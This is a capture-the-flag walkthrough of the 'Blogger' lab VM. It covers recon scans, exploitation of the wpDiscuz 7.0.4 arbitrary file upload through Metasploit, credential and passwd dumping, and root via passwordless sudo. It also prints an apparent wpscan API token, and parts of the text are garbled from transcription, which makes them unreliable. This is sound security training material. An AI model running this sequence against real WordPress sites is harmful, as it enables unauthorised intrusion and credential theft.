VM - Blogger

netdiscover scan:

```
Target VM IP = 192.168.56.110
Currently scanning: Finished! | Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
```

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.56.1	0a:00:27:00:00:10	1	60	Unknown vendor
192.168.56.100	08:00:27:77:fb:0f	1	60	PCS Systemtechnik GmbH
192.168.56.110	08:00:27:c5:97:a2	1	60	PCS Systemtechnik GmbH

nmap scan:

```
TCP port - 22, 80
       STATE SERVICE VERSION
22/tcp open ssh
                     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
   2048 95:1d:82:8f:5e:de:9a:00:a8:07:39:bd:ac:ad:d3:44 (RSA)
   256 d7:b4:52:a2:c8:fa:b7:0e:d1:a8:d0:70:cd:6b:36:90 (ECDSA)
   256 df:f2:4f:77:33:44:d5:93:d7:79:17:45:5a:a1:36:8b (ED25519)
                   Apache httpd 2.4.18 ((Ubuntu))
80/tcp open http
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Blogger | Home
MAC Address: 08:00:27:C5:97:A2 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    p<mark>ot@parrot]</mark>—[/home/user
#
Nmap done: 1 IP address (1 host up) scanned in 294.57 seconds
```

nmap udp scan:

```
nothing significant
```

```
#nmap -sU blogger.thm

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-12 23:32 +08

Nmap scan report for blogger.thm (192.168.56.110)

Host is up (0.00060s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

68/udp open|filtered dhcpc

MAC Address: 08:00:27:C5:97:A2 (Oracle VirtualBox virtual NIC)
```

ssh brutefore not possible:

nikto scan:

nothing significant

```
user@parrot
     $nikto -h blogger.thm
 Nikto v2.1.6
 Target IP:
                           192.168.56.110
 Target Hostname:
                          blogger.thm
 Target Port:
                          80
 Start Time:
                          2021-06-12 23:32:55 (GMT8)
 Server: Apache/2.4.18 (Ubuntu)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms
of XSS
The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site
n a different fashion to the MIME type
n a different fashion to the MIME type
No CGI Directories found (use '-C all' to force check all possible dirs)
Server may leak inodes via ETags, header found with file /, inode: b477, size: 5b917dd00e270, mtime: gzip
Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x b
 Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
OSVDB-3268: /css/: Directory indexing found.
OSVDB-3092: /css/: This might be interesting...
 OSVDB-3268: /images/: Directory indexing found.
 OSVDB-3233: /icons/README: Apache default file found.
 7785 requests: 0 error(s) and 10 item(s) reported on remote host
                         2021-06-12 23:33:58 (GMT8) (63 seconds)
 1 host(s) tested
```

ffuf directory scan

```
ffuf -c -r -w /SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://blogger/FUZX
        v1.3.1 Kali Exclusive
 :: Method
                          : GET
 :: URL
                          : http://blogger/FUZZ
 :: Wordlist
                          : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : true
 :: Calibration
                          : false
 :: Timeout
                           : 10
 :: Threads
                          : 40
 :: Matcher
                           : Response status: 200,204,301,302,307,401,403,405
                              [Status: 200, Size: 4660, Words: 244, Lines: 36]
[Status: 200, Size: 2619, Words: 162, Lines: 25]
images
js
                              [Status: 200, Size: 2358, Words: 128, Lines: 24]
css
                              [Status: 200, Size: 1496, Words: 100, Lines: 20]
[Status: 403, Size: 272, Words: 20, Lines: 10]
[Status: 200, Size: 46199, Words: 21068, Lines: 986]
assets
server-status
```

ffuf file scan

```
ffuf -c -r -w /SecLists/Discovery/Web-Content/raft-medium-files.txt -u http://blogger/FUZX
      v1.3.1 Kali Exclusive
:: Method
                      : GET
:: URL
                      : http://blogger/FUZZ
:: Wordlist
                      : FUZZ: /SecLists/Discovery/Web-Content/raft-medium-files.txt
:: Follow redirects : true
:: Calibration
                     : false
   Timeout
                      : 10
                      : 40
:: Threads
                      : Response status: 200,204,301,302,307,401,403,405
:: Matcher
ndex.html
                         [Status: 200, Size: 46199, Words: 21068, Lines: 986]
htaccess
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
                         [Status: 200, Size: 46199, Words: 21068, Lines:
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
html
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
php
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
htpasswd
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
htm
                         [Status: 403, Size: 272, Words: 20, Lines:
htpasswds
                         [Status: 403, Size: 272, Words: 20, Lines: [Status: 403, Size: 272, Words: 20, Lines: [Status: 403, Size: 272, Words: 20, Lines:
htgroup
p-forum.phps
htaccess.bak
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
htuser
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
ht
                         [Status: 403, Size: 272, Words: 20, Lines: 10]
htc
 Progress: [17128/17128] :: Job [1/1] :: 116 req/sec :: Duration: [0:00:50] :: Errors: 0 ::
  user@parrot
```

hidden subdirectory

http://blogger.thm/assets/fonts/blog/

Go to "/etc/hosts", then point target machine ip to blogger.thm to allow webpage to display properly.

This hidden web subdirectory hosted a wordpress installation:

From the output, we can gather that:

- 1. Outdated wordpress software might be vulnerable to attacks
- 2. Upload directory accessible to public might mean that once shell is uploaded, triggering reverse shell is as easy as going to the correct directory and click the malicious php file.
- 3. The way in might be via bruteforcing user j@m3s or jm3s

```
XML-RPC seems to be enabled: http://blogger.thm/assets/fonts/blog/xmlrpc.php
  Found By: Link Tag (Passive Detection)
  Confidence: 100%
  Confirmed By: Direct Access (Aggressive Detection), 100% confidence
 References:
   - http://codex.wordpress.org/XML-RPC_Pingback_API
   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
   - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
   - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
+] WordPress readme found: http://blogger.thm/assets/fonts/blog/readme.html
 Found By: Direct Access (Aggressive Detection)
 Confidence: 100%
+] Upload directory has listing enabled: http://blogger.thm/assets/fonts/blog/wp-content/uploads/
 Found By: Direct Access (Aggressive Detection)
 Confidence: 100%
+] The external WP-Cron seems to be enabled: http://blogger.thm/assets/fonts/blog/wp-cron.php
 Found By: Direct Access (Aggressive Detection)
  Confidence: 60%
 References:
   https://www.iplocation.net/defend-wordpress-from-ddos
   - https://github.com/wpscanteam/wpscan/issues/1299
+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 Found By: Rss Generator (Passive Detection)

    http://blogger.thm/assets/fonts/blog/?féed=rss2, <generator>https://wordpress.org/?v=4.9.8</generator>
    http://blogger.thm/assets/fonts/blog/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.9.8</generator>

[i] User(s) Identified:
+] j@m3s
  Found By: Author Posts - Display Name (Passive Detection)
  Confirmed By:
    Rss Generator (Passive Detection)
   Login Error Messages (Aggressive Detection)
+] jm3s
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
```

Bruteforce doesn't yield anything.

Trying with wpscan enumerate vuln plugins wpscan --url http://blogger.thm/assets/fonts/blog/ --api-token=cP8QzBevN0gbcqOrLFDOK8EanKWZwXsvupFGn4RRsO4 --plugins-detection mixed -e

```
wpdiscuz
Location: http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/
Last Updated: 2021-05-15T13:40:00.000Z
Readme: http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
[!] The version is out of date, the latest version is 7.2.2
Found By: Known Locations (Aggressive Detection)
  - <a href="http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/">http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/</a>, status: 200
     1 vulnerability identified:
     Title: Comments - wpDiscuz 7.0.0 - 7.0.4 - Unauthenticated Arbitrary File Upload
     Fixed in: 7.0.5
     References:
      - https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24186
    https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/

       - https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz
Version: 7.0.4 (80% confidence)
Found By: Readme - Stable Tag (Aggressive Detection)
- http://blogger.thm/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
```

exploit for wpdiscuz available

```
__[user@parrot]_[/tmp]
_____$searchsploit wpdiscuz

Exploit Title

Wordpress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary File Upload (Metasploit)
```

how to add metasploit from exploitdb: https://www.hacknos.com/add-exploit-metasploit-from-exploit-db/

Configure settings in metasploit

```
\underline{\mathsf{msf6}} exploit(49401) > options
Module options (exploit/49401):
                         Current Setting
                                                                Required Description
                                                                                 Link to the post [/index.php/2020/12/12/post1]
A proxy chain of format type:host:port[[,type:host:port][...]
The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
The base path to the wordpress application
HTTP server virtual host
     BLOGPATH ?p=27
     Proxies
                                                                no
     RHOSTS
                         blogger.thm
                                                                yes
     RPORT
                                                                ves
                          false
      TARGETURI /assets/fonts/blog/
                                                                                  HTTP server virtual host
     VHOST
```

Initial foothold: gather systeminfo

wp-config.php creds, might be useful:

```
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'sup3r_s3cr3t');
/** MySQL hostname */
define('DB_HOST', 'localhost');
```

contents of passwd file

root, vagrant, ubuntu, james are able to be logged in to.

```
www-data@ubuntu-xenial:/var/www/wordpress/assets/fonts/blog$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
james:x:1002:1002:James M Brunner,,,:/home/james:/bin/bash
```

Crontab files has interesting entries.

Basically a script is run as root:

```
www-data@ubuntu-xenial:/home/james$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/james:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 *
                             cd / && run-parts --report /etc/cron.hourly
                   root
                             test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
         * * *
25 6
                   root
47 6
                   root
52 6
* * * * root /usr/local/bin/backup.sh
www-data@ubuntu-xenial:/home/james$
```

Every minute,, shell goes to james directory, make a backup and dump it at //tmp.
www-data@ubuntu-xenial:/usr/local/bin\$ cat backup.sh
cat backup.sh
#!/bin/sh
cd /home/james/
tar czf /tmp/backup.tar.gz *www-data@ubuntu-xenial:/usr/local/bin\$

```
Unzip and untar file to get user flag
www-data@ubuntu-xenial:/tmp$ ls -lah
ls -lah
total 36K
drwxrwxrwt 7 root
                                4.0K Jun 12 16:39 .
                       root
drwxr-xr-x 25 root
                                4.0K Jun 12 14:52 ...
                       root
                                4.0K Jun 12 14:52 .ICE-unix
drwxrwxrwt 2 root
                       root
                                4.0K Jun 12 14:52 .Test-unix
            2 root
drwxrwxrwt
                       root
                                4.0K Jun 12 14:52 .X11-unix
drwxrwxrwt 2 root
                       root
                                4.0K Jun 12 14:52 .XIM-unix
drwxrwxrwt 2 root
                       root
                                4.0K Jun 12 14:52 .font-unix
drwxrwxrwt 2 root
                       root
-rw-r--r-- 1 root
                                  159 Jun 12 16:39 backup.tar.gz
                       root
-rw----- 1 www-data www-data
                                  29 Apr
                                           2 08:28 user.txt
www-data@ubuntu-xenial:/tmp$ cat user.txt
cat user.txt
ZmxhZ3tZMHVfRCFEXzE3IDopfQ==
```

www-data@ubuntu-xenial:/tmp\$ cat user.txt|base64 -d

flag{Y0u_D!D_17 :)}www-data@ubuntu-xenial:/tmp\$

cat user.txt|base64 -d

using weak credentials for user vagrant:

What we basically are going to do is that to use weak credentials for and do a horizontal escalation as vagrant. Then we escalate privilege to root.

```
vagrant@ubuntu-xenial:~$ sudo -l
sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin
User vagrant may run the following commands on ubuntu-xenial:
(ALL) NOPASSWD: ALL
vagrant@ubuntu-xenial:~$ sudo su
sudo su
root@ubuntu-xenial:/home/vagrant# cd /root
cd /root
root@ubuntu-xenial:~# ls -lah
ls -lah
total 24K
              3 root root 4.0K Jan 17 12:38 .
drwx----
drwxr-xr-x 25 root root 4.0K Jun 12 14:52 ..
-rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 501 Apr 2 08:29 root.txt
drwx----- 2 root root 501 Apr 17 12:35 .ssh
root@ubuntu-xenial:~# cat root.txt
cat root.txt
SGV51FRoZXJlLApNeXNlbGYgR2F1cmF21FJhaiwgSGFja2VyLCBQcm9ncmFtbWVyICYgRnJlZUxhbmNlci4KVGhpcyBpcyBteSBmaXJzdCBhdHRlbXB0IH
tZSBhdCB0d2l0dGVyCgpUd2l0dGVyOiBAdGhlaGFja2Vyc2lyYWluCkdpdGh1YjogQHRoZWhhY2tlcnNicmFpbgpJbnNoYWdyYW06IEB0aGVoYwNrZXJZY
QwbjNfWTB1X1AzbjN0cjR0M2RfTTMg0il9Cg==
root@ubuntu-xenial:~# cat root.txt | base64 -d
cat root.txt | base64 -d
Hey There,
Myself Gaurav Raj, Hacker, Programmer & FreeLancer.
This is my first attempt to create a room. Let me know if you liked it.
Any issue or suggestions for me. Ping me at twitter
Twitter: @thehackersbrain
Github: @thehackersbrain
Instagram: @thehackersbrain
Blog: https://thehackersbrain.pythonanywhere.com
Here's Your Flag.
flag{W311_D0n3_Y0u_P3n<u>3</u>tr4t3d_M3 :)}
root@ubuntu-xenial:~#
```